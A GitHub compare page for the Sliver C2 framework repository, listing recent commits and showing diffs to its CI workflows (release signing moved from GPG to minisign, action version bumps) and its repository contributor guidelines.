Compare commits

...
103 Commits
Author SHA1 Message Date
moloch-- c95e5c6cd7 Implement armory forms 2025-12-31 13:48:00 -06:00
moloch-- ed3ab31741 Implement armory forms 2025-12-31 13:41:53 -06:00
moloch-- 9372b768be Update docs for minisign, remove gpg 2025-12-31 13:38:45 -06:00
moloch-- 2d7406f415 Update readme and npm 2025-12-31 13:13:44 -06:00
moloch-- 85ba0cb587 Update docs for v1.6 2025-12-31 11:33:21 -06:00
moloch-- 251871cca1 Switch to minisign for install script, add arm64 support 2025-12-31 11:15:33 -06:00
moloch-- 604318ea54 Update release workflow, add support for windows/arm64 2025-12-31 11:08:21 -06:00
moloch-- bc72b20f9b Update release workflow 2025-12-31 10:40:42 -06:00
Joe 61022e1eb1 Merge pull request #2078 from BishopFox/fix/forms
Refactor Survey to Huh
2025-12-31 09:17:11 -07:00
moloch-- a8d59daded tidy 2025-12-31 10:12:28 -06:00
moloch-- 9195376993 Refactor survey to huh 2025-12-31 10:04:27 -06:00
moloch-- a6de8e0304 Add profile forms 2025-12-31 09:13:21 -06:00
Joe d3ebd34b0d Merge pull request #2077 from BishopFox/fix/forms
Implement basic forms
2025-12-31 07:46:07 -07:00
moloch-- 310619526d Tweak settings 2025-12-31 08:40:02 -06:00
moloch-- 1990777c4b Tweak settings 2025-12-31 08:39:55 -06:00
moloch-- 9570556a87 Refactor to use debug.BuildInfo for version info 2025-12-31 08:27:09 -06:00
moloch-- b563919c19 Update x/crypto 2025-12-31 08:03:33 -06:00
moloch-- f1858ee8f3 Add 'generate beacon' form 2025-12-31 07:58:27 -06:00
moloch-- 46a8313a33 Tweak generate form 2025-12-31 07:51:57 -06:00
Joe 22454f3385 Merge pull request #2070 from xp3s/fix/dns-beacon-close-session
fix: DNS beacon Close() should call CloseSession() to prevent UDP port leak
2025-12-30 22:43:38 -07:00
moloch-- 868b2c294c Merge branch 'master' into fix/dnsc2 2025-12-30 23:04:32 -06:00
moloch-- 9827b4df4b Add forms pkg 2025-12-30 23:04:03 -06:00
moloch-- a48309a813 Add forms pkg 2025-12-30 23:03:55 -06:00
moloch-- 5df5dec5d4 Add forms pkg 2025-12-30 23:03:46 -06:00
Joe a0fb2a229f Merge branch 'master' into fix/dns-beacon-close-session 2025-12-30 21:59:35 -07:00
Joe 3ff3ef2ed4 Merge pull request #2076 from BishopFox/fix/dnsc2
Add cleanup to unit tests to avoid excessive disk usage
2025-12-30 21:59:21 -07:00
moloch-- 73cc8c38ff Add cleanup to unit tests to avoid excessive disk usage 2025-12-30 17:47:49 -06:00
Joe 896c763166 Merge branch 'master' into fix/dns-beacon-close-session 2025-12-30 16:42:38 -07:00
Joe ec7e2facbc Merge pull request #2075 from BishopFox/fix/dnsc2
Improvements to DNS C2, Port go-assest.sh to Golang
2025-12-30 15:37:37 -07:00
Joe 4969c2dc51 Merge branch 'master' into fix/dnsc2 2025-12-30 15:36:27 -07:00
moloch-- 94cb60b1f7 Updates to tests and implementation of dns c2 2025-12-30 16:35:37 -06:00
moloch-- 33fcfd54ef Update makefile to make goos/goarch override easier 2025-12-30 13:04:52 -06:00
moloch-- 10bb248e50 Code cleanup 2025-12-30 12:18:05 -06:00
moloch-- e023fd507e Port go-assets.sh to golang with go run 2025-12-30 11:55:56 -06:00
moloch-- 1a9f0f38dd Port go-assets.sh to golang with go run 2025-12-30 10:56:02 -06:00
moloch-- 02831a80bf Cleanup outputs of go-assets.sh 2025-12-30 10:26:24 -06:00
moloch-- 9ccff1798e Expand and update dns c2 unit tests 2025-12-30 09:46:49 -06:00
Joe cd5ef8b5c6 Merge pull request #2063 from BishopFox/3e11dependabot/npm_and_yarn/docs/sliver-docs/next-15.5.9
Bump next from 15.5.7 to 15.5.9 in /docs/sliver-docs
2025-12-30 08:12:38 -07:00
moloch-- dda1fdbbc2 Update dns unit tests 2025-12-30 08:52:26 -06:00
Joe 3b49df5662 Merge pull request #2067 from BishopFox/350cdependabot/github_actions/actions/upload-artifact-6
Bump actions/upload-artifact from 5 to 6
2025-12-29 21:44:47 -07:00
Joe 32be71ff8e Merge pull request #2069 from BishopFox/0d1adependabot/github_actions/actions/download-artifact-7
Bump actions/download-artifact from 6 to 7
2025-12-29 21:44:33 -07:00
Joe 3f77da1524 Merge pull request #2068 from BishopFox/f7cedependabot/github_actions/actions/cache-5
Bump actions/cache from 4 to 5
2025-12-29 21:44:19 -07:00
Joe bae3e9e45d Merge pull request #2074 from BishopFox/polite-zig
Update zig download to be more polite and secure issue #2065
2025-12-29 14:52:04 -07:00
moloch-- 205f5b4196 Update zig download to be more polite and secure issue #2065 2025-12-29 12:04:27 -06:00
xp3s 12f12218e0 fix: DNS beacon Close() should call CloseSession() to prevent UDP port leak
The DNS beacon's Close() method was empty, causing DNS client worker
goroutines and UDP connections to accumulate over time. This fix ensures
that CloseSession() is called to properly release resources when the
beacon connection is closed.
2025-12-15 17:13:19 +08:00
dependabot[bot] fae7e211a7 Bump actions/download-artifact from 6 to 7
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 6 to 7.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v6...v7)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-12-15 03:02:52 +00:00
dependabot[bot] 346da14431 Bump actions/cache from 4 to 5
Bumps [actions/cache](https://github.com/actions/cache) from 4 to 5.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-12-15 03:02:47 +00:00
dependabot[bot] 15174f6c31 Bump actions/upload-artifact from 5 to 6
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 5 to 6.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v5...v6)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-12-15 03:02:44 +00:00
dependabot[bot] f29df040bb Bump next from 15.5.7 to 15.5.9 in /docs/sliver-docs
Bumps [next](https://github.com/vercel/next.js) from 15.5.7 to 15.5.9.
- [Release notes](https://github.com/vercel/next.js/releases)
- [Changelog](https://github.com/vercel/next.js/blob/canary/release.js)
- [Commits](https://github.com/vercel/next.js/compare/v15.5.7...v15.5.9)

---
updated-dependencies:
- dependency-name: next
  dependency-version: 15.5.9
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-12-12 01:53:24 +00:00
Joe 0bbecc16ec Merge pull request #2060 from BishopFox/go/v1.25.5
Go v1.25.5
2025-12-05 13:29:26 -07:00
moloch-- 0c216161c2 npm update 2025-12-05 12:28:39 -08:00
moloch-- 8ad9c62eb5 Go v1.25.5 2025-12-04 20:12:24 -08:00
Joe 4c99fbfd82 Merge pull request #2059 from BishopFox/e722dependabot/npm_and_yarn/docs/sliver-docs/next-15.5.7
Bump next from 15.5.4 to 15.5.7 in /docs/sliver-docs
2025-12-04 15:48:34 -07:00
dependabot[bot] ed713e199c Bump next from 15.5.4 to 15.5.7 in /docs/sliver-docs
Bumps [next](https://github.com/vercel/next.js) from 15.5.4 to 15.5.7.
- [Release notes](https://github.com/vercel/next.js/releases)
- [Changelog](https://github.com/vercel/next.js/blob/canary/release.js)
- [Commits](https://github.com/vercel/next.js/compare/v15.5.4...v15.5.7)

---
updated-dependencies:
- dependency-name: next
  dependency-version: 15.5.7
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-12-04 20:55:48 +00:00
Joe aacdb71c4a Merge pull request #2058 from BishopFox/e72edependabot/npm_and_yarn/docs/sliver-docs/mdast-util-to-hast-13.2.1
Bump mdast-util-to-hast from 13.2.0 to 13.2.1 in /docs/sliver-docs
2025-12-04 13:54:17 -07:00
dependabot[bot] 6968c3aae5 Bump mdast-util-to-hast from 13.2.0 to 13.2.1 in /docs/sliver-docs
Bumps [mdast-util-to-hast](https://github.com/syntax-tree/mdast-util-to-hast) from 13.2.0 to 13.2.1.
- [Release notes](https://github.com/syntax-tree/mdast-util-to-hast/releases)
- [Commits](https://github.com/syntax-tree/mdast-util-to-hast/compare/13.2.0...13.2.1)

---
updated-dependencies:
- dependency-name: mdast-util-to-hast
  dependency-version: 13.2.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-12-02 04:02:29 +00:00
Joe 410fd93025 Merge pull request #2052 from BishopFox/d161dependabot/github_actions/actions/checkout-6
Bump actions/checkout from 5 to 6
2025-11-23 22:11:44 -07:00
dependabot[bot] f2a0435dd2 Bump actions/checkout from 5 to 6
Bumps [actions/checkout](https://github.com/actions/checkout) from 5 to 6.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v5...v6)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-11-24 03:04:10 +00:00
Joe d66ec956a4 Merge pull request #2037 from BishopFox/2979dependabot/go_modules/tailscale.com-1.90.6
Bump tailscale.com from 1.90.2 to 1.90.6
2025-11-03 12:57:04 -07:00
dependabot[bot] 8229722735 Bump tailscale.com from 1.90.2 to 1.90.6
Bumps [tailscale.com](https://github.com/tailscale/tailscale) from 1.90.2 to 1.90.6.
- [Release notes](https://github.com/tailscale/tailscale/releases)
- [Commits](https://github.com/tailscale/tailscale/compare/v1.90.2...v1.90.6)

---
updated-dependencies:
- dependency-name: tailscale.com
  dependency-version: 1.90.6
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-11-03 03:04:28 +00:00
Joe dcd81a4db7 Merge pull request #2035 from BishopFox/util/rand
Secure Rand Utils
2025-11-02 10:01:16 -07:00
Joe 2617387417 Merge pull request #2028 from BishopFox/586cdependabot/go_modules/tailscale.com-1.90.2
Bump tailscale.com from 1.88.4 to 1.90.2
2025-11-02 09:39:38 -07:00
moloch-- 56aee7d6e4 Add missing pkg 2025-11-02 09:21:34 -07:00
moloch-- b4f07e8629 Fix various uses of util in implant/ 2025-11-02 08:39:31 -07:00
moloch-- 280cb34049 Replace most instances of insecureRand with util funcs wrapping secure rand 2025-11-02 08:25:14 -07:00
Joe 8e5c5f1450 Merge commit from fork
Fix GHSA-q8j9-34qf-7vq7
2025-10-27 15:58:48 -07:00
Joe b8f4f0c1ea Merge pull request #2027 from BishopFox/dbf6dependabot/github_actions/actions/upload-artifact-5
Bump actions/upload-artifact from 4 to 5
2025-10-26 22:16:59 -07:00
Joe 17cb7fbd50 Merge pull request #2030 from BishopFox/cd33dependabot/github_actions/actions/download-artifact-6
Bump actions/download-artifact from 5 to 6
2025-10-26 22:16:47 -07:00
Joe 9963bc6a3f Merge pull request #2031 from BishopFox/implant/dep-updates
Update implant's x/crypto version
2025-10-26 22:16:30 -07:00
moloch-- 274943f383 Update implant's x/crypto version 2025-10-26 20:13:26 -07:00
dependabot[bot] be81755056 Bump actions/download-artifact from 5 to 6
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 5 to 6.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v5...v6)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-10-27 03:05:46 +00:00
dependabot[bot] a5861c43f2 Bump tailscale.com from 1.88.4 to 1.90.2
Bumps [tailscale.com](https://github.com/tailscale/tailscale) from 1.88.4 to 1.90.2.
- [Release notes](https://github.com/tailscale/tailscale/releases)
- [Commits](https://github.com/tailscale/tailscale/compare/v1.88.4...v1.90.2)

---
updated-dependencies:
- dependency-name: tailscale.com
  dependency-version: 1.90.2
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-10-27 03:04:45 +00:00
dependabot[bot] e3025a2da2 Bump actions/upload-artifact from 4 to 5
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 4 to 5.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-10-27 03:03:53 +00:00
Joe 40cc1f4eeb Merge pull request #2024 from BishopFox/blincoln-2025-10-21-01
Fix Windows network adapter retrieval for DNS C2, add additional logging
2025-10-24 11:41:04 -07:00
Ben Lincoln b117a1325d Fix Windows network adapter retrieval for DNS C2, add additional logging 2025-10-21 12:08:44 -07:00
Joe a809989536 Merge pull request #2022 from BishopFox/go/v1.25.3
Update to Go v1.25.3
2025-10-19 22:11:07 -07:00
moloch-- a9ee3ca9ed Update some deps 2025-10-19 21:31:03 -07:00
moloch-- 56d972dd32 Update some deps 2025-10-19 21:17:40 -07:00
moloch-- b4091264d7 Update to Go v1.25.3 2025-10-19 21:09:39 -07:00
Joe 23bf325a66 Merge pull request #2015 from BishopFox/sgn-wasm
Sgn wasm
2025-10-19 20:42:54 -07:00
moloch-- d9344a4c79 Run native bin for unit tests 2025-10-19 19:41:04 -07:00
moloch-- 67d9a772e3 Add shellcode+sgn build to unit tests 2025-10-19 18:56:08 -07:00
moloch-- dae284e62e Add sgn unit tests to go-tests.sh 2025-10-19 18:35:11 -07:00
moloch-- 60f48bdc51 Add sgn unit tests 2025-10-19 18:26:15 -07:00
moloch-- 0d7885de29 Replace subprocess with library call 2025-10-19 17:18:34 -07:00
moloch-- d41d29fc1e Replace CGO build of sgn with wasm/pure-go 2025-10-19 17:09:36 -07:00
Joe 3f400bd3f0 Merge pull request #2004 from BishopFox/5069dependabot/github_actions/actions/upload-pages-artifact-4
Bump actions/upload-pages-artifact from 3 to 4
2025-10-12 15:39:17 -07:00
Joe d43f664821 Merge pull request #2003 from BishopFox/7682dependabot/github_actions/actions/setup-go-6
Bump actions/setup-go from 5 to 6
2025-10-12 15:39:06 -07:00
Joe 85c57c07da Merge pull request #2006 from BishopFox/3c4bdependabot/github_actions/actions/download-artifact-5
Bump actions/download-artifact from 4 to 5
2025-10-12 15:38:56 -07:00
Joe 60d15447e0 Merge pull request #2005 from BishopFox/dd46dependabot/github_actions/actions/setup-node-5
Bump actions/setup-node from 4 to 5
2025-10-12 15:38:44 -07:00
Joe 6351b2d671 Merge pull request #2007 from BishopFox/52f6dependabot/github_actions/actions/checkout-5
Bump actions/checkout from 4 to 5
2025-10-12 15:38:32 -07:00
dependabot[bot] c7535ec509 Bump actions/checkout from 4 to 5
Bumps [actions/checkout](https://github.com/actions/checkout) from 4 to 5.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-10-06 03:03:10 +00:00
dependabot[bot] 67e17d073b Bump actions/download-artifact from 4 to 5
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 4 to 5.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-10-06 03:03:05 +00:00
dependabot[bot] c5cb4dcb6c Bump actions/setup-node from 4 to 5
Bumps [actions/setup-node](https://github.com/actions/setup-node) from 4 to 5.
- [Release notes](https://github.com/actions/setup-node/releases)
- [Commits](https://github.com/actions/setup-node/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/setup-node
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-10-06 03:03:02 +00:00
dependabot[bot] 0b9fe603a8 Bump actions/upload-pages-artifact from 3 to 4
Bumps [actions/upload-pages-artifact](https://github.com/actions/upload-pages-artifact) from 3 to 4.
- [Release notes](https://github.com/actions/upload-pages-artifact/releases)
- [Commits](https://github.com/actions/upload-pages-artifact/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/upload-pages-artifact
  dependency-version: '4'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-10-06 03:02:59 +00:00
dependabot[bot] c7141892d1 Bump actions/setup-go from 5 to 6
Bumps [actions/setup-go](https://github.com/actions/setup-go) from 5 to 6.
- [Release notes](https://github.com/actions/setup-go/releases)
- [Commits](https://github.com/actions/setup-go/compare/v5...v6)

---
updated-dependencies:
- dependency-name: actions/setup-go
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-10-06 03:02:56 +00:00
Joe c5556f9e2b Merge pull request #2001 from BishopFox/codex/ioutil
Codex refactors ioutil usage
2025-10-05 18:06:31 -07:00
Joe 1bc45c2ab2 Merge pull request #1985 from hypnoticpattern/fix-daemon-multiplayer-conflict
Add info about potential causes for sliver daemon port binding error
2025-10-05 17:03:19 -07:00
hypnoticpattern 38479e34aa Add comment about the conflict 2025-08-10 15:02:59 -07:00
rkervella 87dfe96ee9 Remove insertion to db, already performed elsewhere 2025-04-18 12:32:48 -07:00
rkervella 5bb4338d76 Add an IPTable to the tun device and set the default INPUT
chain to deny everything. Add an `AllowTCPPort` method to add
exceptions at runtime.
2025-04-18 12:31:45 -07:00
rkervella bb35fa56d6 Use AllowTCPPort to whitelist the required ports for the wg listner 2025-04-18 12:30:59 -07:00
rkervella fbab18b2fe Remove job insertion to db, already done elsewhere 2025-04-18 12:30:22 -07:00
2396 changed files with 140075 additions and 292165 deletions

No files matched your search

+61 -111
View File
@@ -2,136 +2,86 @@ name: Release
on:
push:
branches: [master]
branches:
- master
permissions:
contents: write
jobs:
servers-build:
name: Release Build Server
if: startsWith( github.ref, 'refs/tags/v')
tag-check:
name: Check Release Tag
runs-on: ubuntu-latest
timeout-minutes: 45
timeout-minutes: 10
outputs:
tag: ${{ steps.tag.outputs.tag }}
steps:
- name: Go 1.25
uses: actions/setup-go@v5
- name: Check Out Code
uses: actions/checkout@v6
with:
go-version: "^1.25"
fetch-depth: 0
- name: OS Packages
- name: Find Semver Tag
id: tag
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip
git fetch --prune --tags -f
tag=$(git tag --points-at "$GITHUB_SHA" | grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | head -n 1)
echo "tag=$tag" >> "$GITHUB_OUTPUT"
- name: Check Out Code
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make
run: make servers
- name: Server Artifacts
uses: actions/upload-artifact@v4
with:
name: servers
path: ./sliver-server_*
clients-build:
name: Release Build Client
if: startsWith( github.ref, 'refs/tags/v')
release:
name: Release
needs: tag-check
if: needs.tag-check.outputs.tag != ''
runs-on: ubuntu-latest
environment: release
timeout-minutes: 45
steps:
- name: Check Out Code
uses: actions/checkout@v6
- name: Go 1.25
uses: actions/setup-go@v5
uses: actions/setup-go@v6
with:
go-version: "^1.25"
- name: Check Out Code
uses: actions/checkout@v4
- name: Install Minisign
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make
- name: Build Clients
run: make clients
- name: Client Artifacts
uses: actions/upload-artifact@v4
with:
name: clients
path: ./sliver-client_*
- name: Build Servers
run: make servers
tagged-release:
needs: [servers-build, clients-build]
- name: Collect Artifacts
run: |
mkdir -p artifacts
cp sliver-server_* sliver-client_* artifacts/
name: "Tagged Release"
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
- name: Sign Artifacts
env:
MINISIGN_KEY: ${{ secrets.MINISIGN_SLIVER_RELEASE_KEY }}
run: |
printf '%s' "$MINISIGN_KEY" > minisign.key
chmod 600 minisign.key
for file in artifacts/sliver-*; do
[ -f "$file" ] || continue
minisign -S -s minisign.key -m "$file" -x "$file.minisig" -W
done
rm -f minisign.key
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v4
with:
path: ./builds
- name: Create Release
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
tag="${{ needs.tag-check.outputs.tag }}"
if gh release view "$tag" >/dev/null 2>&1; then
echo "Release $tag already exists."
exit 0
fi
gh release create "$tag" --generate-notes
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/clients/* ./artifacts
cp ./builds/servers/* ./artifacts
- name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
# Linux
- name: Linux 386 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-386.sig --detach-sig ./artifacts/sliver-client_linux-386
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-amd64.sig --detach-sig ./artifacts/sliver-server_linux-amd64
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-amd64.sig --detach-sig ./artifacts/sliver-client_linux-amd64
- name: Linux ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-arm64.sig --detach-sig ./artifacts/sliver-server_linux-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-arm64.sig --detach-sig ./artifacts/sliver-client_linux-arm64
# Windows
- name: Windows 386 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-386.sig --detach-sig ./artifacts/sliver-client_windows-386.exe
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows-amd64.sig --detach-sig ./artifacts/sliver-server_windows-amd64.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-amd64.sig --detach-sig ./artifacts/sliver-client_windows-amd64.exe
- name: Windows ARM64 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-arm64.sig --detach-sig ./artifacts/sliver-client_windows-arm64.exe
# MacOS
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-amd64.sig --detach-sig ./artifacts/sliver-server_macos-amd64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-amd64.sig --detach-sig ./artifacts/sliver-client_macos-amd64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
# FreeBSD
- name: FreeBSD AMD64 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-amd64.sig --detach-sig ./artifacts/sliver-client_freebsd-amd64.exe
- name: FreeBSD ARM64 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-arm64.sig --detach-sig ./artifacts/sliver-client_freebsd-arm64.exe
- name: "Publish Release"
uses: "bishopfox/action-gh-release@v1"
with:
files: |
./artifacts/*
- name: Upload Artifacts
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: gh release upload "${{ needs.tag-check.outputs.tag }}" artifacts/* --clobber
+5 -5
View File
@@ -17,12 +17,12 @@ jobs:
steps:
# Setup go environment
- name: Go 1.25
uses: actions/setup-go@v5
uses: actions/setup-go@v6
with:
go-version: "^1.25"
- name: Checkout repository
uses: actions/checkout@v4
uses: actions/checkout@v6
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -36,10 +36,10 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code
uses: actions/checkout@v4
uses: actions/checkout@v6
- name: Initialize CodeQL
uses: github/codeql-action/init@v3
uses: github/codeql-action/init@v4
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
@@ -48,6 +48,6 @@ jobs:
run: make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v3
uses: github/codeql-action/analyze@v4
env:
VERSION: ${{github.sha}}
+4 -4
View File
@@ -35,7 +35,7 @@ jobs:
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v6
- name: Detect package manager
id: detect-package-manager
@@ -56,7 +56,7 @@ jobs:
fi
- name: Setup Node
uses: actions/setup-node@v4
uses: actions/setup-node@v6
with:
cache: "npm"
cache-dependency-path: "**/package-lock.json"
@@ -66,7 +66,7 @@ jobs:
uses: actions/configure-pages@v5
- name: Restore cache
uses: actions/cache@v4
uses: actions/cache@v5
with:
path: |
.next/cache
@@ -85,7 +85,7 @@ jobs:
run: ${{ steps.detect-package-manager.outputs.runner }} next build
- name: Upload artifact
uses: actions/upload-pages-artifact@v3
uses: actions/upload-pages-artifact@v4
with:
path: ${{ github.workspace }}/docs/sliver-docs/out
+16 -18
View File
@@ -24,7 +24,7 @@ jobs:
timeout-minutes: 180
steps:
- name: Go 1.25
uses: actions/setup-go@v5
uses: actions/setup-go@v6
with:
go-version: "^1.25"
@@ -34,38 +34,36 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code
uses: actions/checkout@v4
uses: actions/checkout@v6
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make Linux (amd64)
run: make linux-amd64
- name: Test Linux
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows (amd64)
run: make windows-amd64
- name: Make Linux (arm64)
run: make linux-arm64
- name: Make Linux (amd64)
run: make linux-amd64
- name: Test Linux
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
macos-build-test:
name: MacOS Test
runs-on: macos-latest
timeout-minutes: 180
steps:
- name: Go 1.25
uses: actions/setup-go@v5
uses: actions/setup-go@v6
with:
go-version: "^1.25"
- name: Mingw
run: brew install mingw-w64
- name: Check Out Code
uses: actions/checkout@v4
uses: actions/checkout@v6
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -73,24 +71,24 @@ jobs:
- name: Make MacOS (amd64)
run: make macos-amd64
- name: Test MacOS (amd64)
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make MacOS (arm64)
run: make macos-arm64
- name: Test MacOS
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
clients-build:
name: Clients Build
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.25
uses: actions/setup-go@v5
uses: actions/setup-go@v6
with:
go-version: "^1.25"
- name: Check Out Code
uses: actions/checkout@v4
uses: actions/checkout@v6
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
+29 -11
View File
@@ -1,23 +1,41 @@
# Repository Guidelines
## Project Structure & Module Organization
Sliver is a Go monorepo. Core client code lives in `client/` (CLI, assets, transports) and server code in `server/` (C2 services, assets, configs). `implant/` holds implant payload sources, while `util/` provides shared helpers that must stay server-side. Protocol buffers live under `protobuf/`, and documentation assets are in `docs/`. Keep generated artifacts (e.g., `sliver-client`, `sliver-server`, `.downloaded_assets`) out of commits.
- `client/` holds the CLI client and interactive commands.
- `server/` contains the server runtime, C2 logic, configs, and web assets.
- `implant/` is the implant runtime and transport implementations.
- `protobuf/` stores protobuf definitions and generated Go types.
- `util/` is shared helpers (crypto, encoders, minisign, etc.).
- `docs/sliver-docs/` is the Next.js documentation site and prebuild scripts.
- `vendor/` is the vendored Go dependency tree used by builds.
- Build outputs land in the repo root as `sliver-client*` and `sliver-server*`.
## Build, Test, and Development Commands
Use `make` targets to stay consistent:
- `make` (or `make default`) compiles client/server binaries with vendored modules and tag defaults.
- `make client` and `make linux-amd64` build platform-specific emitters; prefer `GOOS/GOARCH` env vars over editing sources.
- `./go-assets.sh` refreshes client asset bundles; rerun when static files change.
Regenerate protobuf bindings with `make pb`. For quick checks, `GOFLAGS="-tags client" go build ./client/...` is acceptable, but ensure the matching `server` build also succeeds.
- `make` builds server + client using vendored modules and runs `go-assets.sh`.
- `make client` builds a CGO-free client; `make debug` keeps symbols.
- `make pb` regenerates protobuf stubs from `protobuf/`.
- `./go-tests.sh` runs the curated Go test suite with build tags.
- Docs site: `cd docs/sliver-docs && npm install && npm run dev` for local dev; `npm run build` for a static build.
- Go toolchain: the Makefile enforces Go >= 1.24.
## Coding Style & Naming Conventions
Target Go 1.22+ (see `Makefile` validation). Format code with `gofmt` or `goimports` before committing. Keep package imports segregated (stdlib, third-party, internal). Use lower_snake filenames for assets, PascalCase for exported Go symbols, and prefer explicit names (`sessionID`, `operatorConfig`) over abbreviations. Never import `server` packages inside `client`. Avoid introducing CGO unless justified for cross-platform support.
- Run `gofmt` on all Go code; keep package names lowercase and idiomatic.
- Avoid `CGO` and empty interfaces; prefer explicit types and interfaces.
- Do not import `server` packages from `client`.
- If `math/rand` is required, import it as `insecureRand` and avoid security use.
## Testing Guidelines
